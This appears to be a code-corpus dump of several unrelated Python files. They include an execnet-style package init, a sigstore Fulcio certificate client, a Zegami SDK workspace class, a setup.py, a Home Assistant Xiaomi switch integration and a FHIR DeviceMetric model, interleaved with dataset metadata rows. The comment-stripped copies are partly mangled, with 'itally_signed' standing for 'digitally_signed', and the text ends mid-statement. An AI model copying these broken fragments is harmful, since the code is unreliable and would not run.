from .deprecated import SshGateway
from .gateway_base import DataFormatError
from .gateway_base import dump
from .gateway_base import dumps
from .gateway_base import load
from .gateway_base import loads
from .gateway_base import RemoteError
from .gateway_base import TimeoutError
from .gateway_bootstrap import HostNotFound
from .multi import default_group
from .multi import Group
from .multi import makegateway
from .multi import MultiChannel
from .multi import set_execmodel
from .rsync import RSync
from .xspec import XSpec
__all__ = [
"__version__",
"PopenGateway",
"SocketGateway",
"SshGateway",
"makegateway",
"set_execmodel",
"HostNotFound",
"RemoteError",
"TimeoutError",
"XSpec",
"Group",
"MultiChannel",
"RSync",
"default_group",
"dumps",
"loads",
"load",
"dump",
"DataFormatError",
]
| 22.134615 | 71 | 0.728931 |
from ._version import version as __version__
from .deprecated import PopenGateway
from .deprecated import SocketGateway
from .deprecated import SshGateway
from .gateway_base import DataFormatError
from .gateway_base import dump
from .gateway_base import dumps
from .gateway_base import load
from .gateway_base import loads
from .gateway_base import RemoteError
from .gateway_base import TimeoutError
from .gateway_bootstrap import HostNotFound
from .multi import default_group
from .multi import Group
from .multi import makegateway
from .multi import MultiChannel
from .multi import set_execmodel
from .rsync import RSync
from .xspec import XSpec
__all__ = [
"__version__",
"PopenGateway",
"SocketGateway",
"SshGateway",
"makegateway",
"set_execmodel",
"HostNotFound",
"RemoteError",
"TimeoutError",
"XSpec",
"Group",
"MultiChannel",
"RSync",
"default_group",
"dumps",
"loads",
"load",
"dump",
"DataFormatError",
]
| true | true |
f73c5561bfacfa0f6cdb992af5b023c172ce8ee2 | 8,844 | py | Python | sigstore/_internal/fulcio/_client.py | di/sigstore-python | 9166a3ea5c2635a0924c6610f129c9f8d0002caf | [
"Apache-2.0"
] | null | null | null | sigstore/_internal/fulcio/_client.py | di/sigstore-python | 9166a3ea5c2635a0924c6610f129c9f8d0002caf | [
"Apache-2.0"
] | null | null | null | sigstore/_internal/fulcio/_client.py | di/sigstore-python | 9166a3ea5c2635a0924c6610f129c9f8d0002caf | [
"Apache-2.0"
] | null | null | null | # Copyright 2022 The Sigstore Authors
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
Client implementation for interacting with Fulcio.
"""
import base64
import datetime
import json
import struct
from abc import ABC
from dataclasses import dataclass
from enum import IntEnum
from typing import List
from urllib.parse import urljoin
import pem
import requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509 import Certificate, load_pem_x509_certificate
from cryptography.x509.certificate_transparency import (
LogEntryType,
SignedCertificateTimestamp,
Version,
)
DEFAULT_FULCIO_URL = "https://fulcio.sigstore.dev"
SIGNING_CERT_ENDPOINT = "/api/v1/signingCert"
ROOT_CERT_ENDPOINT = "/api/v1/rootCert"
class SCTHashAlgorithm(IntEnum):
"""
Hash algorithms that are valid for SCTs.
These are exactly the same as the HashAlgorithm enum in RFC 5246 (TLS 1.2).
See: https://datatracker.ietf.org/doc/html/rfc5246#section-7.4.1.4.1
"""
NONE = 0
MD5 = 1
SHA1 = 2
SHA224 = 3
SHA256 = 4
SHA384 = 5
SHA512 = 6
class SCTSignatureAlgorithm(IntEnum):
"""
Signature algorithms that are valid for SCTs.
These are exactly the same as the SignatureAlgorithm enum in RFC 5246 (TLS 1.2).
See: https://datatracker.ietf.org/doc/html/rfc5246#section-7.4.1.4.1
"""
ANONYMOUS = 0
RSA = 1
DSA = 2
ECDSA = 3
class FulcioSCTError(Exception):
"""
Raised on errors when constructing a `FulcioSignedCertificateTimestamp`.
"""
pass
class FulcioSignedCertificateTimestamp(SignedCertificateTimestamp):
def __init__(self, b64_encoded_sct: str):
self.struct = json.loads(base64.b64decode(b64_encoded_sct).decode())
# Pull the SCT version out of the struct and pre-validate it.
try:
self._version = Version(self.struct.get("sct_version"))
except ValueError as exc:
raise FulcioSCTError("invalid SCT version") from exc
# The "signature" here is really an RFC 5246 DigitallySigned struct;
# we need to decompose it further to get the actual interior signature.
# See: https://datatracker.ietf.org/doc/html/rfc5246#section-4.7
digitally_signed = base64.b64decode(self.struct["signature"])
# The first two bytes signify the hash and signature algorithms, respectively.
# We currently only accept SHA256 + ECDSA.
hash_algo, sig_algo = digitally_signed[0:2]
if (
hash_algo != SCTHashAlgorithm.SHA256
or sig_algo != SCTSignatureAlgorithm.ECDSA
):
raise FulcioSCTError(
f"unexpected hash algorithm {hash_algo} or signature algorithm {sig_algo}"
)
# The next two bytes are the size of the signature, big-endian.
# We expect this to be the remainder of the `signature` blob above, but check it anyways.
(sig_size,) = struct.unpack("!H", digitally_signed[2:4])
if len(digitally_signed[4:]) != sig_size:
raise FulcioSCTError(
f"signature size mismatch: expected {sig_size} bytes, "
f"got {len(digitally_signed[4:])}"
)
# Finally, extract the underlying signature.
self.signature: bytes = digitally_signed[4:]
@property
def version(self):
return self._version
@property
def log_id(self) -> bytes:
"""
Returns an identifier indicating which log this SCT is for.
"""
# The ID from fulcio is a base64 encoded bytestring of the SHA256 hash
# of the public cert. Call .hex() on this when displaying.
return base64.b64decode(self.struct.get("id"))
@property
def timestamp(self) -> datetime.datetime:
"""
Returns the timestamp for this SCT.
"""
return datetime.datetime.fromtimestamp(self.struct["timestamp"] / 1000.0)
@property
def entry_type(self) -> LogEntryType:
"""
Returns whether this is an SCT for a certificate or pre-certificate.
"""
return LogEntryType.X509_CERTIFICATE
@dataclass(frozen=True)
class FulcioCertificateSigningRequest:
"""Certificate request"""
public_key: ec.EllipticCurvePublicKey
signed_proof: bytes
@property
def data(self) -> str:
content = self.public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo,
)
data = {
"publicKey": {
"content": base64.b64encode(content).decode(),
},
"signedEmailAddress": base64.b64encode(self.signed_proof).decode(),
}
return json.dumps(data)
@dataclass(frozen=True)
class FulcioCertificateSigningResponse:
"""Certificate response"""
cert: Certificate
chain: List[Certificate]
sct: FulcioSignedCertificateTimestamp
@dataclass(frozen=True)
class FulcioRootResponse:
"""Root certificate response"""
root_cert: Certificate
class FulcioClientError(Exception):
pass
class Endpoint(ABC):
def __init__(self, url: str, session: requests.Session) -> None:
self.url = url
self.session = session
class FulcioSigningCert(Endpoint):
def post(
self, req: FulcioCertificateSigningRequest, token: str
) -> FulcioCertificateSigningResponse:
"""
Get the signing certificate.
Ideally, in the future, this could take an X.509 Certificate Signing
Request object instead [^1], but the Fulcio API doesn't currently
support this [^2].
[^1]: https://cryptography.io/en/latest/x509/reference/#x-509-csr-certificate-signing-request-object # noqa
[^2]: https://github.com/sigstore/fulcio/issues/503
"""
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json",
"Accept": "application/pem-certificate-chain",
}
resp: requests.Response = self.session.post(
url=self.url, data=req.data, headers=headers
)
try:
resp.raise_for_status()
except requests.HTTPError as http_error:
try:
text = json.loads(http_error.response.text)
raise FulcioClientError(text["message"]) from http_error
except (AttributeError, KeyError):
raise FulcioClientError from http_error
try:
sct = FulcioSignedCertificateTimestamp(resp.headers["SCT"])
except Exception as exc:
# Ideally we'd catch something less generic here.
raise FulcioClientError from exc
# Cryptography doesn't have chain verification/building built in
# https://github.com/pyca/cryptography/issues/2381
try:
cert_pem, *chain_pems = pem.parse(resp.content)
cert = load_pem_x509_certificate(cert_pem.as_bytes())
chain = [load_pem_x509_certificate(c.as_bytes()) for c in chain_pems]
except ValueError:
raise FulcioClientError(f"Did not find a cert in Fulcio response: {resp}")
return FulcioCertificateSigningResponse(cert, chain, sct)
class FulcioRootCert(Endpoint):
def get(self) -> FulcioRootResponse:
"""Get the root certificate"""
resp: requests.Response = self.session.get(self.url)
try:
resp.raise_for_status()
except requests.HTTPError as http_error:
raise FulcioClientError from http_error
root_cert: Certificate = load_pem_x509_certificate(resp.content)
return FulcioRootResponse(root_cert)
class FulcioClient:
"""The internal Fulcio client"""
def __init__(self, url: str = DEFAULT_FULCIO_URL) -> None:
"""Initialize the client"""
self.url = url
self.session = requests.Session()
@property
def signing_cert(self) -> FulcioSigningCert:
return FulcioSigningCert(
urljoin(self.url, SIGNING_CERT_ENDPOINT), session=self.session
)
@property
def root_cert(self) -> FulcioRootCert:
return FulcioRootCert(
urljoin(self.url, ROOT_CERT_ENDPOINT), session=self.session
)
| 31.47331 | 116 | 0.66237 |
import base64
import datetime
import json
import struct
from abc import ABC
from dataclasses import dataclass
from enum import IntEnum
from typing import List
from urllib.parse import urljoin
import pem
import requests
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import ec
from cryptography.x509 import Certificate, load_pem_x509_certificate
from cryptography.x509.certificate_transparency import (
LogEntryType,
SignedCertificateTimestamp,
Version,
)
DEFAULT_FULCIO_URL = "https://fulcio.sigstore.dev"
SIGNING_CERT_ENDPOINT = "/api/v1/signingCert"
ROOT_CERT_ENDPOINT = "/api/v1/rootCert"
class SCTHashAlgorithm(IntEnum):
NONE = 0
MD5 = 1
SHA1 = 2
SHA224 = 3
SHA256 = 4
SHA384 = 5
SHA512 = 6
class SCTSignatureAlgorithm(IntEnum):
ANONYMOUS = 0
RSA = 1
DSA = 2
ECDSA = 3
class FulcioSCTError(Exception):
pass
class FulcioSignedCertificateTimestamp(SignedCertificateTimestamp):
def __init__(self, b64_encoded_sct: str):
self.struct = json.loads(base64.b64decode(b64_encoded_sct).decode())
try:
self._version = Version(self.struct.get("sct_version"))
except ValueError as exc:
raise FulcioSCTError("invalid SCT version") from exc
itally_signed = base64.b64decode(self.struct["signature"])
hash_algo, sig_algo = digitally_signed[0:2]
if (
hash_algo != SCTHashAlgorithm.SHA256
or sig_algo != SCTSignatureAlgorithm.ECDSA
):
raise FulcioSCTError(
f"unexpected hash algorithm {hash_algo} or signature algorithm {sig_algo}"
)
(sig_size,) = struct.unpack("!H", digitally_signed[2:4])
if len(digitally_signed[4:]) != sig_size:
raise FulcioSCTError(
f"signature size mismatch: expected {sig_size} bytes, "
f"got {len(digitally_signed[4:])}"
)
self.signature: bytes = digitally_signed[4:]
@property
def version(self):
return self._version
@property
def log_id(self) -> bytes:
return base64.b64decode(self.struct.get("id"))
@property
def timestamp(self) -> datetime.datetime:
return datetime.datetime.fromtimestamp(self.struct["timestamp"] / 1000.0)
@property
def entry_type(self) -> LogEntryType:
return LogEntryType.X509_CERTIFICATE
@dataclass(frozen=True)
class FulcioCertificateSigningRequest:
public_key: ec.EllipticCurvePublicKey
signed_proof: bytes
@property
def data(self) -> str:
content = self.public_key.public_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PublicFormat.SubjectPublicKeyInfo,
)
data = {
"publicKey": {
"content": base64.b64encode(content).decode(),
},
"signedEmailAddress": base64.b64encode(self.signed_proof).decode(),
}
return json.dumps(data)
@dataclass(frozen=True)
class FulcioCertificateSigningResponse:
cert: Certificate
chain: List[Certificate]
sct: FulcioSignedCertificateTimestamp
@dataclass(frozen=True)
class FulcioRootResponse:
root_cert: Certificate
class FulcioClientError(Exception):
pass
class Endpoint(ABC):
def __init__(self, url: str, session: requests.Session) -> None:
self.url = url
self.session = session
class FulcioSigningCert(Endpoint):
def post(
self, req: FulcioCertificateSigningRequest, token: str
) -> FulcioCertificateSigningResponse:
headers = {
"Authorization": f"Bearer {token}",
"Content-Type": "application/json",
"Accept": "application/pem-certificate-chain",
}
resp: requests.Response = self.session.post(
url=self.url, data=req.data, headers=headers
)
try:
resp.raise_for_status()
except requests.HTTPError as http_error:
try:
text = json.loads(http_error.response.text)
raise FulcioClientError(text["message"]) from http_error
except (AttributeError, KeyError):
raise FulcioClientError from http_error
try:
sct = FulcioSignedCertificateTimestamp(resp.headers["SCT"])
except Exception as exc:
raise FulcioClientError from exc
# Cryptography doesn't have chain verification/building built in
try:
cert_pem, *chain_pems = pem.parse(resp.content)
cert = load_pem_x509_certificate(cert_pem.as_bytes())
chain = [load_pem_x509_certificate(c.as_bytes()) for c in chain_pems]
except ValueError:
raise FulcioClientError(f"Did not find a cert in Fulcio response: {resp}")
return FulcioCertificateSigningResponse(cert, chain, sct)
class FulcioRootCert(Endpoint):
def get(self) -> FulcioRootResponse:
resp: requests.Response = self.session.get(self.url)
try:
resp.raise_for_status()
except requests.HTTPError as http_error:
raise FulcioClientError from http_error
root_cert: Certificate = load_pem_x509_certificate(resp.content)
return FulcioRootResponse(root_cert)
class FulcioClient:
def __init__(self, url: str = DEFAULT_FULCIO_URL) -> None:
self.url = url
self.session = requests.Session()
@property
def signing_cert(self) -> FulcioSigningCert:
return FulcioSigningCert(
urljoin(self.url, SIGNING_CERT_ENDPOINT), session=self.session
)
@property
def root_cert(self) -> FulcioRootCert:
return FulcioRootCert(
urljoin(self.url, ROOT_CERT_ENDPOINT), session=self.session
)
| true | true |
f73c5687b82736bb78df4ee2df71db0daa2e791c | 2,344 | py | Python | zegami_sdk/workspace.py | mariya-gfx/zegami-python-sdk | 513071f31b1f8b02397a2dfa4ab5786ade525f88 | [
"Apache-2.0"
] | null | null | null | zegami_sdk/workspace.py | mariya-gfx/zegami-python-sdk | 513071f31b1f8b02397a2dfa4ab5786ade525f88 | [
"Apache-2.0"
] | null | null | null | zegami_sdk/workspace.py | mariya-gfx/zegami-python-sdk | 513071f31b1f8b02397a2dfa4ab5786ade525f88 | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Zegami Ltd.
Apache 2.0
"""
from .collection import Collection
class Workspace():
def __init__(self, client, workspace_dict):
self._client = client
self._data = workspace_dict
self._check_data()
@property
def id(): pass
@id.getter
def id(self):
assert 'id' in self._data.keys(), 'Workspace\'s data didn\'t have an \'id\' key'
return self._data['id']
@property
def name(): pass
@name.getter
def name(self):
assert 'name' in self._data.keys(), 'Workspace\'s data didn\'t have a \'name\' key'
return self._data['name']
@property
def collections(): pass
@collections.getter
def collections(self):
c = self._client
assert c, 'Workspace had no client set when obtaining collections'
url = '{}/{}/project/{}/collections/'.format(c.HOME, c.API_0, self.id)
collection_dicts = c._auth_get(url)
if not collection_dicts:
return []
collection_dicts = collection_dicts['collections']
return [Collection._construct_collection(c, self, d) for d in collection_dicts]
def get_collection_by_name(self, name):
cs = self.collections
for c in cs:
if c.name.lower() == name.lower():
return c
raise ValueError('Couldn\'t find a collection with the name \'{}\''.format(name))
def get_collection_by_id(self, id):
cs = self.collections
for c in cs:
if c.id == id:
return c
raise ValueError('Couldn\'t find a collection with the ID \'{}\''.format(id))
def show_collections(self):
cs = self.collections
assert cs, 'Workspace obtained invalid collections'
print('\nCollections in \'{}\' ({}):'.format(self.name, len(cs)))
for c in cs:
print('{} : {}'.format(c.id, c.name))
def _check_data(self) -> None:
assert self._data, 'Workspace had no self._data set'
assert type(self._data) == dict, 'Workspace didn\'t have a dict for '\
'its data ({})'.format(type(self._data))
def __len__(self):
len(self.collections) | 28.938272 | 91 | 0.554181 |
from .collection import Collection
class Workspace():
def __init__(self, client, workspace_dict):
self._client = client
self._data = workspace_dict
self._check_data()
@property
def id(): pass
@id.getter
def id(self):
assert 'id' in self._data.keys(), 'Workspace\'s data didn\'t have an \'id\' key'
return self._data['id']
@property
def name(): pass
@name.getter
def name(self):
assert 'name' in self._data.keys(), 'Workspace\'s data didn\'t have a \'name\' key'
return self._data['name']
@property
def collections(): pass
@collections.getter
def collections(self):
c = self._client
assert c, 'Workspace had no client set when obtaining collections'
url = '{}/{}/project/{}/collections/'.format(c.HOME, c.API_0, self.id)
collection_dicts = c._auth_get(url)
if not collection_dicts:
return []
collection_dicts = collection_dicts['collections']
return [Collection._construct_collection(c, self, d) for d in collection_dicts]
def get_collection_by_name(self, name):
cs = self.collections
for c in cs:
if c.name.lower() == name.lower():
return c
raise ValueError('Couldn\'t find a collection with the name \'{}\''.format(name))
def get_collection_by_id(self, id):
cs = self.collections
for c in cs:
if c.id == id:
return c
raise ValueError('Couldn\'t find a collection with the ID \'{}\''.format(id))
def show_collections(self):
cs = self.collections
assert cs, 'Workspace obtained invalid collections'
print('\nCollections in \'{}\' ({}):'.format(self.name, len(cs)))
for c in cs:
print('{} : {}'.format(c.id, c.name))
def _check_data(self) -> None:
assert self._data, 'Workspace had no self._data set'
assert type(self._data) == dict, 'Workspace didn\'t have a dict for '\
'its data ({})'.format(type(self._data))
def __len__(self):
len(self.collections) | true | true |
f73c586002a51a46cdacd80d7d97cddd5442975a | 824 | py | Python | setup.py | raharison-toky/Dawsonmuse | e3b3b0c08b984e676ca5a46a56fcdd827b7404cb | [
"BSD-3-Clause"
] | null | null | null | setup.py | raharison-toky/Dawsonmuse | e3b3b0c08b984e676ca5a46a56fcdd827b7404cb | [
"BSD-3-Clause"
] | null | null | null | setup.py | raharison-toky/Dawsonmuse | e3b3b0c08b984e676ca5a46a56fcdd827b7404cb | [
"BSD-3-Clause"
] | null | null | null | from unicodedata import name
from setuptools import setup
with open("README.md","r") as fh:
long_description = fh.read()
setup(
name = 'dawsonmuse',
version = '0.0.1',
description= 'A module for running EEG experiments with Psychopy and a Muse device.',
py_modules=["dawsonmuse"],
author="Tokiniaina Raharison Ralambomihanta",
author_email="raharisonrtoky@gmail.com",
url="https://github.com/alexandrebarachant/muse-lsl/",
package_dir={'':'src'},
classifiers=[
"Programming Language :: Python ::3",
"Programming Language :: Python :: 3.6",
"License :: OSI Approved :: BSD License"
],
long_description=long_description,
long_description_content_type="text/markdown",
install_requires=[
"mne",
"pylsl",
"pandas"
],
) | 29.428571 | 89 | 0.648058 | from unicodedata import name
from setuptools import setup
with open("README.md","r") as fh:
long_description = fh.read()
setup(
name = 'dawsonmuse',
version = '0.0.1',
description= 'A module for running EEG experiments with Psychopy and a Muse device.',
py_modules=["dawsonmuse"],
author="Tokiniaina Raharison Ralambomihanta",
author_email="raharisonrtoky@gmail.com",
url="https://github.com/alexandrebarachant/muse-lsl/",
package_dir={'':'src'},
classifiers=[
"Programming Language :: Python ::3",
"Programming Language :: Python :: 3.6",
"License :: OSI Approved :: BSD License"
],
long_description=long_description,
long_description_content_type="text/markdown",
install_requires=[
"mne",
"pylsl",
"pandas"
],
) | true | true |
f73c590eed34ae41e5a287dbff47d7122aebece3 | 3,431 | py | Python | custom_components/xiaomi_gateway3/switch.py | avbor/HomeAssistantConf | 1f0fe16c8e3f3dcea7cc350f3fb9c233b6a22614 | [
"Unlicense"
] | 35 | 2021-02-25T06:30:42.000Z | 2022-03-09T20:18:47.000Z | custom_components/xiaomi_gateway3/switch.py | avbor/HomeAssistantConf | 1f0fe16c8e3f3dcea7cc350f3fb9c233b6a22614 | [
"Unlicense"
] | 33 | 2021-11-22T16:30:43.000Z | 2022-03-29T18:00:13.000Z | custom_components/xiaomi_gateway3/switch.py | avbor/HomeAssistantConf | 1f0fe16c8e3f3dcea7cc350f3fb9c233b6a22614 | [
"Unlicense"
] | 19 | 2021-02-20T05:29:58.000Z | 2022-02-05T16:22:30.000Z | import logging
from homeassistant.components import persistent_notification
from homeassistant.helpers.entity import ToggleEntity
from . import DOMAIN
from .core.gateway3 import Gateway3
from .core.helpers import XiaomiEntity
_LOGGER = logging.getLogger(__name__)
async def async_setup_entry(hass, config_entry, async_add_entities):
def setup(gateway: Gateway3, device: dict, attr: str):
if attr == 'firmware lock':
async_add_entities([FirmwareLock(gateway, device, attr)])
elif device['type'] == 'mesh':
async_add_entities([XiaomiMeshSwitch(gateway, device, attr)])
else:
async_add_entities([XiaomiZigbeeSwitch(gateway, device, attr)])
gw: Gateway3 = hass.data[DOMAIN][config_entry.entry_id]
gw.add_setup('switch', setup)
class XiaomiZigbeeSwitch(XiaomiEntity, ToggleEntity):
@property
def is_on(self):
return self._state
async def async_update(self, data: dict = None):
# thread.run > mqtt.loop_forever > ... > thread.on_message
# > entity.update
# > entity.schedule_update_ha_state *
# > hass.add_job *
# > loop.call_soon_threadsafe *
# > hass.async_add_job *
# > hass.async_add_hass_job *
# > loop.create_task *
# > entity.async_update_ha_state *
# > entyty._async_write_ha_state
# > hass.states.async_set
# > bus.async_fire
# > hass.async_add_hass_job
# > loop.call_soon
if self.attr in data:
self._state = bool(data[self.attr])
self.async_write_ha_state()
async def async_turn_on(self):
await self.gw.send_zigbee(self.device, {self.attr: 1})
async def async_turn_off(self):
await self.gw.send_zigbee(self.device, {self.attr: 0})
class XiaomiMeshSwitch(XiaomiEntity, ToggleEntity):
@property
def should_poll(self):
return False
@property
def is_on(self):
return self._state
async def async_update(self, data: dict = None):
if data is None:
self.gw.mesh_force_update()
return
if self.attr in data:
# handle main attribute as online state
if data[self.attr] is not None:
self._state = bool(data[self.attr])
self.device['online'] = True
else:
self.device['online'] = False
self.async_write_ha_state()
async def async_turn_on(self, **kwargs):
self._state = True
await self.gw.send_mesh(self.device, {self.attr: True})
self.async_write_ha_state()
async def async_turn_off(self, **kwargs):
self._state = False
await self.gw.send_mesh(self.device, {self.attr: False})
self.async_write_ha_state()
class FirmwareLock(XiaomiZigbeeSwitch):
@property
def icon(self):
return 'mdi:cloud-lock'
async def async_turn_on(self):
if await self.gw.lock_firmware(enable=True):
self._state = True
self.async_write_ha_state()
persistent_notification.async_create(
self.hass, "Firmware update is locked. You can sleep well.",
"Xiaomi Gateway 3"
)
async def async_turn_off(self):
if await self.gw.lock_firmware(enable=False):
self._state = False
self.async_write_ha_state()
| 29.834783 | 76 | 0.625765 | import logging
from homeassistant.components import persistent_notification
from homeassistant.helpers.entity import ToggleEntity
from . import DOMAIN
from .core.gateway3 import Gateway3
from .core.helpers import XiaomiEntity
_LOGGER = logging.getLogger(__name__)
async def async_setup_entry(hass, config_entry, async_add_entities):
def setup(gateway: Gateway3, device: dict, attr: str):
if attr == 'firmware lock':
async_add_entities([FirmwareLock(gateway, device, attr)])
elif device['type'] == 'mesh':
async_add_entities([XiaomiMeshSwitch(gateway, device, attr)])
else:
async_add_entities([XiaomiZigbeeSwitch(gateway, device, attr)])
gw: Gateway3 = hass.data[DOMAIN][config_entry.entry_id]
gw.add_setup('switch', setup)
class XiaomiZigbeeSwitch(XiaomiEntity, ToggleEntity):
@property
def is_on(self):
return self._state
async def async_update(self, data: dict = None):
if self.attr in data:
self._state = bool(data[self.attr])
self.async_write_ha_state()
async def async_turn_on(self):
await self.gw.send_zigbee(self.device, {self.attr: 1})
async def async_turn_off(self):
await self.gw.send_zigbee(self.device, {self.attr: 0})
class XiaomiMeshSwitch(XiaomiEntity, ToggleEntity):
@property
def should_poll(self):
return False
@property
def is_on(self):
return self._state
async def async_update(self, data: dict = None):
if data is None:
self.gw.mesh_force_update()
return
if self.attr in data:
if data[self.attr] is not None:
self._state = bool(data[self.attr])
self.device['online'] = True
else:
self.device['online'] = False
self.async_write_ha_state()
async def async_turn_on(self, **kwargs):
self._state = True
await self.gw.send_mesh(self.device, {self.attr: True})
self.async_write_ha_state()
async def async_turn_off(self, **kwargs):
self._state = False
await self.gw.send_mesh(self.device, {self.attr: False})
self.async_write_ha_state()
class FirmwareLock(XiaomiZigbeeSwitch):
@property
def icon(self):
return 'mdi:cloud-lock'
async def async_turn_on(self):
if await self.gw.lock_firmware(enable=True):
self._state = True
self.async_write_ha_state()
persistent_notification.async_create(
self.hass, "Firmware update is locked. You can sleep well.",
"Xiaomi Gateway 3"
)
async def async_turn_off(self):
if await self.gw.lock_firmware(enable=False):
self._state = False
self.async_write_ha_state()
| true | true |
f73c59fc6af1cf0b89be62e6bc779019364f1b6e | 6,925 | py | Python | fhir/resources/STU3/devicemetric.py | mmabey/fhir.resources | cc73718e9762c04726cd7de240c8f2dd5313cbe1 | [
"BSD-3-Clause"
] | null | null | null | fhir/resources/STU3/devicemetric.py | mmabey/fhir.resources | cc73718e9762c04726cd7de240c8f2dd5313cbe1 | [
"BSD-3-Clause"
] | null | null | null | fhir/resources/STU3/devicemetric.py | mmabey/fhir.resources | cc73718e9762c04726cd7de240c8f2dd5313cbe1 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
"""
Profile: http://hl7.org/fhir/StructureDefinition/DeviceMetric
Release: STU3
Version: 3.0.2
Revision: 11917
Last updated: 2019-10-24T11:53:00+11:00
"""
import sys
from . import backboneelement, domainresource
class DeviceMetric(domainresource.DomainResource):
""" Measurement, calculation or setting capability of a medical device.
Describes a measurement, calculation or setting capability of a medical
device.
"""
resource_type = "DeviceMetric"
def __init__(self, jsondict=None, strict=True):
""" Initialize all valid properties.
:raises: FHIRValidationError on validation errors, unless strict is False
:param dict jsondict: A JSON dictionary to use for initialization
:param bool strict: If True (the default), invalid variables will raise a TypeError
"""
self.calibration = None
""" Describes the calibrations that have been performed or that are
required to be performed.
List of `DeviceMetricCalibration` items (represented as `dict` in JSON). """
self.category = None
""" measurement | setting | calculation | unspecified.
Type `str`. """
self.color = None
""" black | red | green | yellow | blue | magenta | cyan | white.
Type `str`. """
self.identifier = None
""" Unique identifier of this DeviceMetric.
Type `Identifier` (represented as `dict` in JSON). """
self.measurementPeriod = None
""" Describes the measurement repetition time.
Type `Timing` (represented as `dict` in JSON). """
self.operationalStatus = None
""" on | off | standby | entered-in-error.
Type `str`. """
self.parent = None
""" Describes the link to the parent DeviceComponent.
Type `FHIRReference` referencing `['DeviceComponent']` (represented as `dict` in JSON). """
self.source = None
""" Describes the link to the source Device.
Type `FHIRReference` referencing `['Device']` (represented as `dict` in JSON). """
self.type = None
""" Identity of metric, for example Heart Rate or PEEP Setting.
Type `CodeableConcept` (represented as `dict` in JSON). """
self.unit = None
""" Unit of Measure for the Metric.
Type `CodeableConcept` (represented as `dict` in JSON). """
super(DeviceMetric, self).__init__(jsondict=jsondict, strict=strict)
def elementProperties(self):
js = super(DeviceMetric, self).elementProperties()
js.extend(
[
(
"calibration",
"calibration",
DeviceMetricCalibration,
"DeviceMetricCalibration",
True,
None,
False,
),
("category", "category", str, "code", False, None, True),
("color", "color", str, "code", False, None, False),
(
"identifier",
"identifier",
identifier.Identifier,
"Identifier",
False,
None,
True,
),
(
"measurementPeriod",
"measurementPeriod",
timing.Timing,
"Timing",
False,
None,
False,
),
(
"operationalStatus",
"operationalStatus",
str,
"code",
False,
None,
False,
),
(
"parent",
"parent",
fhirreference.FHIRReference,
"Reference",
False,
None,
False,
),
(
"source",
"source",
fhirreference.FHIRReference,
"Reference",
False,
None,
False,
),
(
"type",
"type",
codeableconcept.CodeableConcept,
"CodeableConcept",
False,
None,
True,
),
(
"unit",
"unit",
codeableconcept.CodeableConcept,
"CodeableConcept",
False,
None,
False,
),
]
)
return js
class DeviceMetricCalibration(backboneelement.BackboneElement):
""" Describes the calibrations that have been performed or that are required to
be performed.
"""
resource_type = "DeviceMetricCalibration"
def __init__(self, jsondict=None, strict=True):
""" Initialize all valid properties.
:raises: FHIRValidationError on validation errors, unless strict is False
:param dict jsondict: A JSON dictionary to use for initialization
:param bool strict: If True (the default), invalid variables will raise a TypeError
"""
self.state = None
""" not-calibrated | calibration-required | calibrated | unspecified.
Type `str`. """
self.time = None
""" Describes the time last calibration has been performed.
Type `FHIRDate` (represented as `str` in JSON). """
self.type = None
""" unspecified | offset | gain | two-point.
Type `str`. """
super(DeviceMetricCalibration, self).__init__(jsondict=jsondict, strict=strict)
def elementProperties(self):
js = super(DeviceMetricCalibration, self).elementProperties()
js.extend(
[
("state", "state", str, "code", False, None, False),
("time", "time", fhirdate.FHIRDate, "instant", False, None, False),
("type", "type", str, "code", False, None, False),
]
)
return js
try:
from . import codeableconcept
except ImportError:
codeableconcept = sys.modules[__package__ + ".codeableconcept"]
try:
from . import fhirdate
except ImportError:
fhirdate = sys.modules[__package__ + ".fhirdate"]
try:
from . import fhirreference
except ImportError:
fhirreference = sys.modules[__package__ + ".fhirreference"]
try:
from . import identifier
except ImportError:
identifier = sys.modules[__package__ + ".identifier"]
try:
from . import timing
except ImportError:
timing = sys.modules[__package__ + ".timing"]
| 31.477273 | 99 | 0.514946 |
import sys
from . import backboneelement, domainresource
class DeviceMetric(domainresource.DomainResource):
resource_type = "DeviceMetric"
def __init__(self, jsondict=None, strict=True):
self.calibration = None
self.category = None
self.color = None
self.identifier = None
self.measurementPeriod = None
self.operationalStatus = None
self.parent = None
self.source = None
self.type = None
self.unit = None
super(DeviceMetric, self).__init__(jsondict=jsondict, strict=strict)
def elementProperties(self):
js = super(DeviceMetric, self).elementProperties()
js.extend(
[
(
"calibration",
"calibration",
DeviceMetricCalibration,
"DeviceMetricCalibration",
True,
None,
False,
),
("category", "category", str, "code", False, None, True),
("color", "color", str, "code", False, None, False),
(
"identifier",
"identifier",
identifier.Identifier,
"Identifier",
False,
None,
True,
),
(
"measurementPeriod",
"measurementPeriod",
timing.Timing,
"Timing",
False,
None,
False,
),
(
"operationalStatus",
"operationalStatus",
str,
"code",
False,
None,
False,
),
(
"parent",
"parent",
fhirreference.FHIRReference,
"Reference",
False,
None,
False,
),
(
"source",
"source",
fhirreference.FHIRReference,
"Reference",
False,
None,
False,
),
(
"type",
"type",
codeableconcept.CodeableConcept,
"CodeableConcept",
False,
None,
True,
),
(
"unit",
"unit",
codeableconcept.CodeableConcept,
"CodeableConcept",
False,
None,
False,
),
]
)
return js
class DeviceMetricCalibration(backboneelement.BackboneElement):
resource_type = "DeviceMetricCalibration"
def __init__(self, jsondict=None, strict=True):
self.state = None
self.time = None
self.type = None
super(DeviceMetricCalibration, self).__init__(jsondict=jsondict, strict=strict)
def elementProperties(self):
js = super(DeviceMetricCalibration, self).elementProperties()
js.extend(
[
("state", "state", str, "code", False, None, False),
("time", "time", fhirdate.FHIRDate, "instant", False, None, False),
("type", "type", str, "code", False, None, False),
]
)
return js
try:
